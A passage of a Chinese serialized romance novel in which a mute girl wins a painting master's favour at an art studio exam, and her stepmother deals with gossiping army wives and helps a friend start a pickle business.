左边苹果色块堆叠,右边人像只剩两只占满画面的眼睛,瞳孔里还糊着星星点点的彩铅。 老头儿凑过去,老花镜滑到鼻尖,盯着画纸足足看了三分钟。 于洋妈趁机使眼色,小胖墩赶紧把自己的画也摆过去—— 左边苹果光影细腻,右边人像连模特耳垂上的痣都描得清楚。 吴老爷子看得眉头皱得更厉害了,忽然敲了敲拐杖,语气严厉。 “第一名,就这种水平?这也能叫画?” 于洋妈妈立马得意起来,嘴角一扬,瞥了周柒柒一眼。 “可不是嘛?!这画的都不能叫画!苹果不像苹果,人像不像人像的,纯粹是在糟蹋纸!” 听到这话,吴老爷子竟然点了点头。 周柒柒有些失望地撇了撇嘴。 “好一个大师!本来冲着吴老先生的名号来的,没想到来错了地儿。” “我还是那个说法,评价一幅画的好坏,从来不该只看它‘像不像’,更要看它有没有‘灵魂’!有没有‘情感’!有没有‘独特的表达’!” 话音刚落,就见吴老爷子低着头,猛地拍了一下桌子。 众人以为老爷子要发火,都等着看好戏。 于洋妈妈更是得意地看向周柒柒,想看她咋难堪。 就连周柒柒自己,都以为老爷子被她惹恼了,赶紧把舟舟护在怀里。 就算对方是大师,她也半点不怵。 却没想到,吴老爷子抬起头来,眼中闪烁的,不是怒火,而是满满的赞赏! “好好好!好一个‘灵魂’!好一个‘感情’!好一个‘独特的表达!’” “说得太好了!” “当年我在巴黎留学时,我的老师,就跟我说过这样的话!” 第106章 当之无愧的第一名 “如果画画一味地追求像,还不如去买台照相机!” 老爷子一边说着,一边将于洋画的那两幅作品随意推到了一边。 “依我看,这两幅,根本就不能算是画!” 然后反手将舟舟画的那两幅,如获至宝一样地捧在手里。 “而这两幅,才是真正的作品!绝对是今天的第一名!” “什么?!” 老爷子这话一出口,在场的人全愣住了。 家长们你瞅瞅我,我瞅瞅你,眼神里满是惊讶,原本瞅着周柒柒的目光,这会儿全转到于洋妈妈脸上了。 于洋妈妈压根儿没料到这一出,脸瞬间就拉下来了,青黑青黑的。 “老先生,您这话啥意思?您眼神儿没看错吧?我家孩子咋就画得不如别人了?” “刚才那老师还说呢,线条稳当,结构周正!老师,您说是不是?!” 说着就把刚才负责考试的助教往前推。 那助教愣了一下,点点头说:“是。” 于洋妈立马提高了嗓门。 “瞧见没,老师都说是头一名!吴老先是凭什么说那两张鬼画符是头一名呢?我不服!” 在场的家长也都闹不明白,刚才爱打听的乐乐妈又冒出来了,一双小眼睛在周柒柒和舟舟身上转来转去。 “该不会是走后门的?塞钱了吧?我瞅着这母女俩穿的裙子都不便宜呢!” 她这么一说,其他家长也都一副恍然大悟的样子。 “关系户直接安排进去不就行了。” “是啊,干嘛浪费咱们时间?这吴教授咋这样啊...” 刚才那个充当模特的女助教一听就急了。 “你们,你们瞎说什么呢!老先生可不是那种人!” 可这会儿,她咋说都没人信,家长们你看我我看你,跟于洋妈妈一样,都有点不服气。。 一时间,底下叽叽咕咕的声音不断。 吴老先生抄起拐杖站了起来,“咚”地往地上一戳。 “行了,既然都不服,那我就把话敞开了说。” 他先是指了指于洋的画。 “你家孩子的画,技术上没啥毛病,可全都是按书本上的例图画的,一点儿自己的想法都没有!太死板!” 再是指了指舟舟的。 “可这小姑娘的画,看着就带劲儿!颜色鲜亮,透着股子精气神!还大胆!纯粹!不讲究模样,就抓那股子神韵,直抵人心!” “这才是这个年龄的孩子该有的!” 说完,老爷子就转过脸对着大伙儿,一个字一个字地说。 “咱们这画室的入学考试,压根儿就没定啥标准,我们要看的,从来都是孩子的创造力和想象力,这才是画画的魂儿。” 老爷子刚说完,就听见身后传来一个温和又有力的女声。 “没错~!就是这么个理儿!” 吴老师早就回来了,一直站在老爷子身后,这会儿才开腔。 “家长们可以用心去看这几幅画,能真正感觉到喜怒哀乐的,才是第一名。” 她可是这画室的负责人,好多家长都跟她打过交道。 老爷子的话,大伙儿听着还有点绕弯子,可听完吴老师说的,都各自重新去看那几幅画,议论开了。 “这苹果画得确实招人喜欢,看着就心情舒坦。” “可不是嘛,这人像也是,感觉模特人还在画里呢,心都跟长了翅膀似的,飞到外头看花看草、看星星去了...” ...... 刚才当模特的敏敏被人说中了心思,不好意思地摸了摸鼻子。 “谁愿意礼拜天上班啊~!可不心都飞走了吗?” 这一下,家长们讨论得更热闹了,有位之前就帮沈渡舟说话的短发家长开口了。 “如果考的是创造力与想象力,那这个小女孩的话,确实是当之无愧的第一名,比于洋画得好。” 其他家长这会儿也都跟着点头。 于洋妈妈咋都没想到,这才一会儿工夫,风向全变了,气得嘴都歪了,嚷嚷道。 “我家于洋可是在首都拿过‘金色童星杯’一等奖的!你们这些穷乡僻壤的人懂个啥?!” 说这话的时候,她眼珠子还往吴老先生那边瞥,眼神里满是看不起。 那可是首都的比赛,家长们听了,心里又有点动摇。 这时,吴老师轻轻哼了一声。 “‘金色童星杯’正好是我以前在中央美院的同学主持的,前几天我才听她说过,参加的都是不到十岁的小朋友,为了不让小朋友难受,只要报名的,都会给一等奖,而真正出彩的,给的是金奖...” 人群中的乐乐妈立马就笑出了声。 “切~原来是个猪粪,啊不,猪肉奖,一直挂在嘴边,我们还以为多厉害呢!我家孩子上了肯定也有!” “原来是这样!” 这话一下子逗得家长们都笑开了。 “你...你们...” 于洋妈妈脸一下子涨得通红,于洋这小胖墩也听出大伙儿在笑话他,张嘴就哭开了。 “哇哇哇”的哭声,引得孩子们都好奇地看过来,指指点点的。 “哭啥哭!真没出息!” 于洋妈妈脸上臊得慌,拍了拍小胖墩的头,然后拽着孩子,拎起画板和工具箱就往外跑。 “走走走~!咱回家!不跟这群没见识的人待在一块儿!” 没跑几步,工具箱的扣子开了,里面的铅笔、颜料撒了一地。 母子俩手忙脚乱地蹲地上捡,那慌里慌张的样儿,跟逃难似的。 吴老师也懒得看她们,走到客厅中间,大声说道。 “不好意思啊,家长们,刚才我自行车坏了,回来晚了,耽误大伙儿时间了,麻烦都回小画室,我看看小朋友们的画,宣布一下考试结果。” 说是宣布,其实就是走个过场。 家长们心里都清楚,今儿个的头一名,非沈渡舟莫属了。 不过吴老师态度亲切,家长们也不介意配合一下,毕竟自家孩子说不定明年还来考呢。 果然,仔细看完每个小朋友的画后,吴老师选了沈渡舟当她今年收的最后一个学生。 她不像别的画画老师,每年小班就收十个学生,沈渡舟正好是第十个。 不过吴老师也没忘了安慰其他小朋友,轻声说。 “没选上的小朋友别灰心,接着努力,以后还有机会,要是有啥意见,随时来找我提。” 家长们都笑着说:“没啥意见,完全没意见。” 刚才那出“闹剧”,也算给她们和孩子上了堂生动的大师美术课,大伙儿都挺有收获。 “既然没意见,那就请大伙儿先走吧。” 吴老师说着,又冲周柒柒招了招手。 “沈渡舟家长,你带舟舟过来一下。” 周柒柒捏了捏舟舟的小手,正准备过去呢,就听见身后传来一声大嗓门。 “等等~!谁说没意见的!我有意见!” 第107章 吴大师收徒 这嗓门儿亮堂,听着倒有几分底蕴。 却偏带着股咋咋呼呼的劲儿,像个没长大的小孩子似的。 周柒柒刚才就听过一回了,自然知道是谁,带着舟舟不紧不慢地回了头。 “吴老先生,您这是...?” 方才看老先生分明挺赞同她的理念,也很喜欢舟舟的画啊。 别人都没意见了,怎么老先生这儿还又起幺蛾子了? 这舟舟学个画画,居然也这么一波三折的。 吴老师也有些无奈,赶紧过去搀扶住自己爹。 “老爷子,你咋还能有意见呢?我平时让您帮着给指导指导学生,您眼皮都懒得抬,今儿怎么话这么密呢?” 这话随口调侃,但这会儿其他家长都还没走呢,都被这句话给逗乐了。 老头儿顿时觉得失了面子,用拐杖戳了戳地,吹胡子瞪眼的。 “你...你这女娃娃,怎么跟自己爹说话呢?你的那群学生,画得还没司徒夏好呢,有什么好指导的?纯属浪费我时间!” 司徒夏,便是先前吴老师提过的,首都“金色童星杯”的负责人,跟吴老师是中央美院同届的同学。 能考入中央美院,按理说已是顶尖水准,可老爷子偏瞧不上眼。 吴老师对自家这倔脾气的老头儿当真是没辙。 却也深知他这性子,倔了一辈子,唯有顺着毛哄。 “好好好,老爷子,那您说说,您到底啥意见?” 小老头儿眼神在二十来个家长和孩子堆里转了一圈,慢悠悠地停在了舟舟那张白生生的小脸蛋上。 周柒柒平时遇着啥事儿都不带慌的,可这会儿也不知咋的,攥着舟舟的手不自觉紧了紧。 就见小老头儿板着脸,一本正经地朗声宣布—— “沈渡舟,这孩子...不能当你的学生!!!” “什么?” 这话一出口,刚才那帮家长全惊得直咋舌。 本以为这出戏从于洋母子俩落荒而逃那儿就结束了,没想到还有后续呢,都议论纷纷的。 “咋回事啊?” 尤其是爱打听的乐乐妈,连自家孩子都顾不上了,一个劲儿往跟前挤,眼里直冒光。 “又不要啦?那我家孩子是不是有戏了?” 周柒柒瞬间瞪大了眼睛,有点难以置信,没能第一时间做出反应。 沈渡舟却是眨了眨大眼睛,挠了挠周柒柒的手心,拽着她就往外走,一溜烟就走到门口了。 “哎,别走啊~~” 老头儿还在那儿仰着头摸胡子,摆着架子,等着舟舟母女俩来问他为什么。 哪儿成想人家压根儿不搭理他,抬脚就要走,小老头儿这下急了,拐杖一扔,健步如飞地就过来拦人。 舟舟这小丫头也挺倔,听着让等等,小嘴抿得紧紧的,拉着周柒柒头也不回。 老头儿一看,要玩脱了,赶紧张嘴把大实话说了。 “我是说不能当吴老师的学生,没说不能当我的学生啊!” 这话一出,在他身后急着去扶他的吴老师先反应过来了,一脸的惊喜。 “啥?!爸,您要收学生?真的假的?您都十年没收过学生了!” 老爷子这下不拿乔了,点了点头,朗声道。 “没错,这孩子我看上了,我想收她当我的学生!” 说着,又有点难为情地看向周柒柒,问道。 “就是不晓得,人家愿意不愿意!” 周柒柒没急着应声,而是半蹲到沈渡舟跟前,指尖蹭了蹭她粉扑扑的小脸,认认真真地问。 “舟舟,你愿意跟这位老先生学画画不?” 沈渡舟没立刻开口,黑葡萄似的眼珠子在吴老先生父女俩身上转了转,又扫过周围那些眼神发烫的家长,忽然迈着大长腿噔噔噔跑向客厅沙发背后的墙。 那墙挂满了画,她没指正中央那些装裱精致的大作,却踮着脚戳了戳最边角一幅巴掌大的涂鸦——纸角还卷着毛边,显然是随手画了玩的。 小姑娘歪着脑袋,睫毛扑棱扑棱的,盯着那团歪歪扭扭的线条瞧了老半晌,忽然转头看向吴老师,眼睛亮得像落了星星,像是要确认这是谁画的。 吴老师弯下腰,语气还是温温柔柔的。 “小姑娘,你瞅中这幅啦?这是我爸年轻时候瞎涂的。” 得了信儿的沈渡舟迈着大长腿又回到了周柒柒面前,对着她用力地点点头,小脸上绽放出一个浅浅的、却无比明亮的笑容,无声地说道。 “愿意。” 小老头儿早就伸长脖子盯着呢,这会儿一拍大腿笑出满脸褶子,粗糙的手掌轻轻拍了拍沈渡舟后背。 “好!好!好!太好了!那你就是我吴有道的学生了!” 在场的学生家长这会儿是真的炸了锅了,吸气声此起彼伏,眼珠子都快瞪出来了。 “吴大师居然亲自教学生了?!不得了!” “好多美院教授都是他教出来的呢!” “哇,小姑娘厉害啊!” 不过,也有人有别的心思。 “这小姑娘运气真好!但是这样,吴老师这边不就少了一个学生吗?我家乐乐又有机会了!” 吴老师也想到这一层了,半是开心半是无奈道。 “您这倒好,撬自己闺女的墙角,合着我一上午白忙活,还得少收个学生。” 小老头正美的哼小曲儿,难得没跟闺女抬杠,大手一挥。 “再挑一个不就完了,我看了刚才那些小朋友的画,有一个也算是有点创造力,可以收。” 老爷子这话一出,刚才还在看戏吃瓜的家长们坐不住了,全都涌了上来,把自家的孩子往前推。 乐乐妈最积极,要不是地上戳着根拐杖,差点把乐乐搡到老爷子怀里。 吴老师一边阻拦着,一边催促。 “老爷子,你快说,是哪个孩子?再不说非得把你挤倒不可!” “我看看...” 小老头儿背着手在孩子堆里转了一圈,忽然抬手指向角落—— 那儿有个小男孩,正站在沈渡舟跟前,像个小大人似的握着她的手晃了晃,奶声奶气地说“恭喜”呢。 小男孩看着比沈渡舟大上一两岁,正站在沈渡舟面前,小大人一样地伸出手来恭喜她呢。 他旁边的家长也对周柒柒说着同样的话。 周柒柒和善地和她握了握手,也笑道,“还没感谢你刚才替我家舟舟说话。” “嗨,应当的。” 几个人正说着话呢,冷不丁被这么多人的视线投过来,这才知道。 小男孩居然被选中当吴老师的学生,母子俩开心得不得了,赶紧拽着孩子往跟前钻。 他的画虽然没什么技巧,但是画得很有个人风格,让人一看就觉得温暖舒服。 “哎...” 其他家长知道自己孩子没戏了,都一脸菜色。 第108章 还不知道谁克谁呢 这种忽然有希望,但是又落空的滋味,简直跟吞了苍蝇似的难受! 尤其是乐乐妈,捶胸顿足地直叹气,“早知道让我家娃也乱画了!” 可大伙儿心里都清楚,这回是真没盼头了,只能蔫头耷脑地往外走。 就连先前主持考试的助教也跟着溜了。 那家伙本就是美术协会硬塞来的,老爷子说看不顺眼,吴老师正好借坡下驴把人打发了。 留下来的两家填完表格,互相通了姓名。 周柒柒这才知道,小男孩叫卓光明,往后要跟沈渡舟做同学了。 不过两人一个是吴老师的学生,一个是吴老爷子的学生。 这场考试到这里,也算是尘埃落定了。 等填完资料,交完费用,已经是中午十一点半了。 约好了下周六正式开始上课后,众人便陆续散了。 吴家的饭厅里,做饭的大嫂早早地把饭菜全都端了上来。 吴老爷子捧着碗吃得呼噜呼噜响,甚至还招手招呼道。 “李嫂,再帮我盛一碗米饭来。” 坐在他对面的吴家大儿子猛地瞪大眼。 “哟,这可真是奇了,老爷子平时得人哄着才吃两口饭,今天怎么胃口这么好?” 吴老师笑盈盈地帮他端了一杯水过去。 “老爷子今天收着得意门生了,能不乐呵吗?” “啊?” 在全家人的惊讶声里,吴老师把上午的事儿说了一遍,末了感慨道。 “小女孩在画画方面确实很有灵性,可惜就是因为一些原因,不能开口说话,这是个大缺点。” 这事儿费老师之前提过,周柒柒刚才也特意交代过,可吴老师心里总有点犯嘀咕。 没想到一直闷头扒饭的老爷子忽然开口,眼神里全是对沈渡舟的满意。 “这算啥缺点?她把想说的话都画进画里了,说不定是件好事儿!再说了……” 老爷子掏了掏耳朵,斜睨一眼闺女。 “我就烦吵吵闹闹的,你们整天在我耳边嗡嗡嗡,跟群蚊子似的!” 吴老师早习惯了亲爹嘴硬,直接拆台。 “拉倒吧,您分明是嫌我们打扰您睡懒觉,多大岁数了还跟小孩似的。” 老爷子耳尖一红。 “别胡说!以后在我学生跟前可不能这么讲!” 兄妹俩对视一眼,都笑了。 想起老爷子之前被学生举报,虽说平反了却从此消沉,连画笔都不愿碰,如今竟主动收了学生。 要教孩子画画,自己总得先动笔。 两人心照不宣地往老爷子碗里夹肉,眼里满是欣慰。 与此同时,军区医院病房里,沈淮川也正给周柒柒和舟舟夹菜。 他特意让秦磊去军区饭店买的清蒸鲈鱼,新鲜得很,一点儿小刺都没有。 另外还有一道糖醋里脊。 周柒柒每次做饭,只要有小朋友在,她都会做一道小朋友爱吃的菜。 他看在眼里,也记在心里,然后执行在了行动里。 周柒柒早上经历了一场风波,这会儿看着满桌热乎饭菜,心里暖融融的。 她一边往嘴里塞饭,一边把上午的事儿绘声绘色地讲了一遍,最后捏了捏舟舟的小脸。 “我们舟舟最厉害啦,是不是?” 小姑娘在外头一点不怯场,这个时候倒是害羞了,把头埋在碗里不说话。 周柒柒也不逗她,夹了块糖醋里脊送到她嘴边。 刚想给自己添菜,沈淮川的筷子已经伸了过来,目光柔和。 “你也很厉害。” “我又不是小孩了,什么厉害不厉害的?” 周柒柒红着脸张嘴咬住肉,跟舟舟一样低头扒饭。 沈淮川又给舟舟夹了块鱼肉,看两人鼓着腮帮子嚼东西,像两只毛茸茸的小松鼠,心里软得一塌糊涂。 正瞅着入神呢,冷不丁看见对面伸来个大脑袋。 秦磊故意把嘴张得老大,挤眉弄眼。 “团长,还有我呢!我的肉呢?” 要说柒柒和舟舟是小松鼠,这位就是大老鼠了。 沈淮川眼皮都没抬,从鲈鱼里挑出片姜片扔进他嘴里。 “嘶——辣辣辣!团长你太偏心!” 秦磊辣得直吐舌头,夸张地装可怜。 周柒柒和舟舟被他逗得直捂嘴,病房里顿时飘起一片笑声。 吃完饭,在病房休息了后,周柒柒带着舟舟去买了好多上课要用的东西,就回军区了。 舟舟在家画画,她去了一趟邓翠香家,哼着歌心不在焉,走错了,走到了后门那一侧。 看到六、七个军嫂聚在一起择菜,正七嘴八舌地议论着。 为首的,当然是邱春芳这个大嘴巴。 “可不,我就住在隔壁,看见她隔三岔五的就往回拿东西,每次都是一大包!” 另一个择着豆角的不住点头。 “我也看见了!今天她领着沈渡舟那个小女娃,又是大包小包拿了一大堆呢!好像全是画画用的!” “这狐狸精当沈团长的钱是水龙头里的水呢!这么花!” “沈团长这会儿可还在医院呢!要是被他知道了,估计得气死!” 两人你一言,我一语的,旁边一个大着肚子的,语气里带着酸味。 “是啊,也不知道带着孩子去治病,就净整那些花里胡哨的,做表面功夫!真是好狠的心!沈团长和小姑娘估计迟早都得被她克死!” 坐在最后面的李红娟刚才一直没说话,这会儿却是阴恻恻一笑。 “就沈团长那家庭,还不知道谁克谁呢!” 这几个就是之前被周柒柒设计,进了粪坑的那几个,外加两个平时就爱凑热闹的军嫂。 周柒柒在后头,本来是当笑话听的,甚至还想空运点溜溜梅给她们。 但听着听着,居然听她们说起了沈淮川,就有点不能忍了,正想出手。 就听“吱呀”一声,邓翠香家的后门开了。 她端着一盆粪水,毫不留情地冲着几个长舌妇的脚边泼去—— “都仔细点自己的嘴巴,积点德!家里没澡堂,想进粪坑洗澡了是不是?” 第109章 泼妇骂谁? 堆肥的粪水“哗啦啦”泼到了几人脚边,酸臭气息直往人鼻孔里钻。 “嘶~~啥味儿啊,熏死人了!” 邱春芳、李红娟几个忙不迭往后退了好几步。 “是你...” 一眼瞅见邓翠香,几人脸色瞬间拉得老长,张嘴刚要发作,却又想起前几日的纠葛,话到嘴边又都咽了回去。 唯有那个凑热闹的孕妇,呼地站起身,叉着腰就冲过来戳邓翠香的鼻尖,开口就骂。 “你拿粪水泼我们,安的啥心啊?!泼妇!” 瞧着她肚子大得像扣了口锅,少说有七八个月身孕,邓翠香不好直接呛声,端着木盆往后撤了一步。 孕妇见状只当她心虚,翻了个大白眼,扯开嗓子还要骂。 周柒柒往前一站,挑眉问道:“泼妇骂谁?!” “泼妇骂...” 这孕妇反应倒比邱春芳她们快些,话刚出口就觉不对,布满血丝的眼珠子滴溜溜转了两圈。 看到面前这个女人穿着一身洋气的裙子,五官娇媚,立马反应过来了。 “哦?你就是周柒柒吧?果然跟我嫂子说的一样,不是什么好东西!” 说着就挺起了肚子。 “我可是孕妇,你们咋这么欺负人?还骂我!不知道让着点吗?” 周柒柒眨巴着眼睛,一脸懵懂。 “你怀的又不是我们的孩子,生下来也不叫我们妈,我们让啥?” “你...” 孕妇被噎得说不出话,旁边李红娟扭着腰走过来,斜睨周柒柒一眼,阴阳怪气道。 “走了,晓燕,别和她们一般见识,人家可是雷政委面前的大红人,咱们这些人呀,惹不起!” 说完就拽着邱春芳她们往前挪,孕妇还想理论,可瞧着人都走了,自己孤身一人也讨不了好,只得回头狠狠瞪了周柒柒和邓翠香一眼。 周柒柒懒得搭理,邓翠香却念着她有身孕,多嘴说了句。 “我劝你一句,既然大着肚子,就多在家休息,少出门凑这种是非,说话也别总谁克死谁的,为自己肚子里的孩子积点德,别让他在娘胎里净学些个污言秽语!” 那孕妇哪里听得进去啊,啐了一口唾沫到邓翠香边上。 “你算哪根葱?乡下来的土包子!我家娃儿轮不到你教!” 说着便是扶着肚子趾高气扬地走了。 “翠香姐,没事吧?那人谁啊?” 周柒柒赶忙凑过来。 “没事~” 邓翠香摆了摆手,“那人啊,是廖科长的妹妹,叫廖晓燕,前几天刚来咱们大院的。” 周柒柒有些疑惑,“廖科长的妹妹?那不也是村里来的?怎么还骂咱们土包子呢?” 邓翠香努了努下巴,让周柒柒进屋说话,一边解释道。 “那不是因为人家嫁了个城里人嘛?” 她这会儿本来正在后院翻地基肥呢,十分自然地递了一个锄头给周柒柒,边锄地边说道。 “他老公跟胡春晓一样,也是G市物资局的,不过职位低,只是个文员,一大家子五六口人,一起挤在一个三四十平米的一居室里,孕妇月份大了,住着憋得慌,就跑到她哥哥这儿来安胎了。” 说到这儿,她使劲儿锄了两下,半是生气半是无语道。 “说是安胎,结果就是天天得和那群长舌妇聚在一起蛐蛐人,嚼舌根,依我看,不是安胎,而是在惊胎!” 周柒柒早接了锄头,一边帮着锄地,一边笑道。 “不用说,蛐蛐的就是我们几个了?” “可不是嘛?你是女主角,捎带着也说说我和莹莹。” “随她们说去,又不掉块肉。” 比起邓翠香的激动,周柒柒倒是看得开。 她来大院的第一晚,就和邱春芳结下梁子了,第二天又因为和莹莹交好,间接得罪了李红娟,自那之后,这俩婆娘背后就没少编排她,她早习以为常了。 就当是平淡生活的调剂了。 听她这么说,邓翠香也消了气,叹口气道。 “也是,之前看她怀着身子想劝两句,现在想想真犯不着。人家孩子是好是歹都是自家事儿,咱管那么宽干啥?过好自家日子就行!” 说着她指了指新翻的几垄地。 “对了,这会儿正是抢种大蒜、菠菜的时候,咱们这儿到了十一月初,地上就封冻了,到时候就不发芽了,现在种了,来年春天正好返青!” “这么早吗?” 周柒柒有点惊讶,原身生活的小村庄要靠南方一点,封冻都是十一月末,十二月的事儿了,抢种也要下个月。 “是啊,这些东西,刚来的时候,咱们周主任给各家送生活物品的时候,不是顺道都叮嘱过吗?” 邓翠香点头,看周柒柒一脸惊讶的样子,有些奇怪。 “这些,周主任没跟你说吗?” “还真没...” 周柒柒苦笑着摇了摇头。 这么一听,感觉周主任对军嫂们倒是还挺好的,给各家各户都送过物资,但就是不知道怎么了,阴差阳错之下,对她有很严重的偏见。 邓翠香见状,赶忙把这些跟她复述了一遍,又忙不迭叮嘱。 “对了,还有地窖的事儿,这边冬天冷,没啥蔬菜,你趁着这会儿秋高气爽的,在院儿里挖个地窖,存点白菜、萝卜,土豆,大葱啥的,再腌点芥菜疙瘩、雪里蕻、辣椒酱啥的,不然到时候天冷了没菜吃。” 周柒柒最近也寻思这事儿呢。 “地窖,下个礼拜沈淮川出院回家了,到时候让他找人挖,我地里菜不多,到时候去集市买点,至于咸菜,我也看看有没有卖的吗,看着买点...” 原身之前家里的咸菜什么的都是许母腌的,她不舍得放调料,菜也都是用那种品相差、不新鲜的,实在难吃。 原身跟着学了些,手艺也好不到哪儿去,周柒柒自己也没做过。 邓翠香把锄头往地里一戳,擦了把汗。 “哪儿有卖咸菜的?家家户户都自己腌,谁会拿出来卖啊。” 说着她便是拍了拍周柒柒的肩膀,笑着说道。 “这样吧,我这两天正准备做呢,我顺便帮你腌点吧,你买口缸,弄点菜送到我这儿就成。” 邓翠香家里腌的碎芽菜香得很,周柒柒之前吃了一次,一直念念不忘呢,这会儿也不客气了。 “那敢情好!” 说着便是撞了撞邓翠香的胳膊,竖起大拇指,衷心夸赞道。 “翠香姐,你也太能干了!种地干活一把手,做饭做菜也有一手!” 第110章 邓嫂子的打算 周柒柒这么一夸,邓翠香嘴角扯出个自嘲的笑。 “嗨,能干什么啊?我呀,就是一个乡下土包子,也就会种种地,腌腌咸菜啥的。” 都是普通人,嘴上表现得豁达、无所谓,但实际上,心里多多少少还是会有点小疙瘩的。 “咋能这么说呢?” 周柒柒可不待见她这么埋汰自己,眼珠子一转。 “我瞅着翠香姐这手艺利索啊,口味也地道,要不你这两天抽空多做点辣椒酱、咸菜疙瘩啥的,拎出去卖卖看?” 邓翠香眼睛忽地瞪大了,亮闪闪的,可转眼又臊得慌。 “这玩意儿能卖得出去?人人都能在家自己做的玩意儿,哪有人花钱买啊?” 毕竟G市的粮油副食店里都不卖这玩意儿。 “咋卖不出去?” 周柒柒眉眼弯弯一笑。 “这会儿不比几年前了,城里人都吃饱了饭,手里也有点闲钱了,舍得花钱买东西,这辣椒酱、咸菜疙瘩做起来麻烦,只要你卖得不贵,肯定有人乐意买的。” 邓翠香点点头,觉着在理,可心里还是有点犯怵。 “可是我没做卖过东西,也没做过生意,这...” 周柒柒拉过她的胳膊,“你这样...” 巴拉巴拉说了一堆,邓翠香眼睛越听越亮,恨不能立马扔下锄头去鼓捣。 周柒柒又补一句,“你照着我说的做,绝对没问题,就是难免累点,辛苦点。” “这算啥!再苦我也受得住!” 邓翠香一拍胸脯。 “大妹子,不瞒你说,前两年我就想偷摸去黑市里卖东西了,当时想着的是,卖点包子、面条啥的,但是带着孩子呢,不方便。” 如今姜向阳都上小学一年级了,她总算有点自己的空儿,也一直琢磨着找点事儿干。 先前瞅见周柒柒卖衣服卖得红火,莹莹又有文化,干翻译的活儿,就她跟个闲人似的,心里头憋屈了好一阵子。 这下周柒柒给她指了道,她欢喜得不行,胳膊一伸就揽住周柒柒肩膀不撒手。 “你咋不早说惦记我那碎米芽菜呢!我缸里还有小半缸,再给你装点儿!” 话音没落呢,自己又把自己舌头咬了。 “嗨,装啥装,装了你还得自个儿回去做。这样吧,你下午带舟舟上我家吃饭,今早我上集买了点猪肉,正好给你们做担担面,今儿吃肉臊子!保证地道!” 周柒柒怎么会不答应呢,点了点头,“行~!那我去叫舟舟过来。” 邓翠香忙拉住她。 “不忙,你别叫了,帮我干会儿活,咱俩顺道拉拉家常,这几天你忙着去医院,咱俩好久都没好好唠唠了。” 说着便是拍了拍周柒柒的手。 “我让向阳去喊,他这两天放假没见着舟舟,中午吃饭还跟我打听呢!” “成啊。” 周柒柒正想着让舟舟多跟小伙伴耍耍呢,自然没意见。 这两天大院里的小男孩正流行滚铁环,姜向阳玩得不咋顺溜,又怕在那群小弟面前丢脸,一直自己在家偷摸练习。 可自个儿玩着没趣,就想拉着沈渡舟一块儿。 被老妈一指派,立马撒丫子跑去叫人,跑得跟阵旋风似的。 这边周柒柒和邓翠香在厨房忙活着做饭,那边俩孩子就在院子里玩开了。 饭前,姜向阳和沈渡舟都还在摸索阶段,铁环滚得断断续续的。 可吃完饭后再玩,沈渡舟还是劲头不足,滚不了多远,姜向阳却已经能稳稳当当、呼呼地往前滚了,妥妥入了门。 铁环在青石板上骨碌碌地滚,发出清脆的声响,姜向阳美得不行,跑到慢悠悠勾着铁环拐弯的沈渡舟跟前,小嘴叭叭地显摆。 俩孩子一个活泼一个安静,一高一矮,夕阳给他们的侧脸镀上一层柔和的金黄。 周柒柒和邓翠香对视一笑,脑袋凑一块儿,又叽叽咕咕地说起了体己话,甭提多乐呵了,日子就这么安安稳稳的。 夕阳慢慢往西落,照到城郊的第一服装厂,厂里却是一片忙乎劲儿。 都下午六点半了,四十来岁的马师傅还精神头十足,带着车间的工人紧着忙活。 副厂长张国强也没闲着,刚去仓库点完库存,就快步往车间赶。 “马师傅,这批货啥时候能完活儿?” 马师傅手头忙活着,嘴上说道。 “快了,就剩三道工序,顶多一个钟头。你明儿坐火车去花城是吧?这好消息跟周师傅说了没?” 张国强挠了挠头。 “我倒是想跟她说呢,可咋都打不通电话,估摸她这两天家里事儿多。” 马师傅瞅了瞅车间的大挂钟。 “估摸你打电话的时候不对,这会儿打应该能找着人。” “行。” 张国强应了一声,正准备回办公室打电话,路上却被厂长秘书吴淑芬拦住了,东拉西扯说了好一阵。等他拨电话的时候,都七点多了。 。正犹豫要不要打呢,对面接线员接了。 “你好,红星院,请问找哪位?” 张国强就抱着试试看的想法说:“麻烦帮我叫一下东区3排2号的周柒柒同志。” 说完那头就挂断了,没到五分钟呢,电话就嘟嘟嘟响了起来,电话那头传来周柒柒熟悉的声音。 张国强语气里满是感慨。 “周师傅,今天打了好几个电话了,总算联系上你了!” 周柒柒赶忙问。 “咋了?是厂里出什么问题了吗?那批样品我刚才看了,没啥问题啊。” 张国强嘴角一扬,乐呵呵地说,“不是不是,是好消息!” 这批样衣赶制出来后,他第一时间就给在花都做服装批发的朋友打了电话,说了新款的大概样式。 对方挺感兴趣,让他发一批样衣过去,要是跟说的一样,就打算订货。 那边可是咱华国服装批发最火的地儿,需求量大,跟G市这北方地儿不一样,要是能成,第一服装厂的库存难题可有盼头了。 张国强说得带劲:“邮政快递寄过去咋也得四五天,我打算亲自坐火车送一趟,不光快,还显得咱有诚意。” 周柒柒也跟着高兴:“行啊,那就等你的好消息。” 张国强这一走,直到礼拜二都没再打电话,倒是军区医院先传来了好消息。 丁医生一早来查房,说沈淮川恢复得挺好,也没出啥并发症,今儿下午就能出院了。 出院后还得在家歇着,戴着胸带固定,一个半月左右骨痂长好,再去复查。 三个月左右,骨头就能恢复得跟原先一样结实了。 说完这些,丁医生特意看向周柒柒,一字一句认真嘱咐。 “这段时间,可千万注意,不能让他干任何体力活,周同志,你多盯着点。” 周柒柒拿着笔把注意事项一项项记下来,笑着说:“好,我记下了。” 丁医生看她一脸淡定,有点着急,咳嗽了两声。 “咳咳,你真明白了?懂我啥意思不?” 第111章 穿针引线的活儿 丁医生语速加急,冲周柒柒直递眼色,可她只顾着低头拿笔记注意事项,末了才抬起头,压根没瞅见丁医生乱抽抽的眼皮子。 她眨着双清澈的杏眼,不住点头。 “懂了呀,就是不让他干体力活儿。” 一旁的秦磊也主动搭腔。 “放心吧,丁大夫,我每天早上六点钟就去团长家里报道,家里的活儿我全包圆了,不会让团长累着半点儿的~!” 这下丁医生眼皮抽抽得更厉害了,没好气地瞪了秦磊一眼。 “这里头没有你的事儿...” 说完她单独把周柒柒拉到一边,压着嗓子小声说。 “除了体力活,还有那个...” 她把手上的片子和病历本夹到胳肢窝里,左手圈了个圈,右手伸出手指比画了一个纳鞋底的动作,隐晦地说道。 “穿针引线的活儿,也不能让、他、来,懂了吗?” 小夫妻俩刚结婚一个多月,正是干柴烈火的时候,再加上小别胜新婚,更是烈火烹了油,难免擦枪走火,她必须得好好叮嘱一下。 周柒柒还是个雏儿,刚才第一时间没反应过来。 但丁医生单独拉她过去,再结合这手势,这比喻,还有什么不明白的。 顿时就羞红了脸,忙不迭地点了点头。 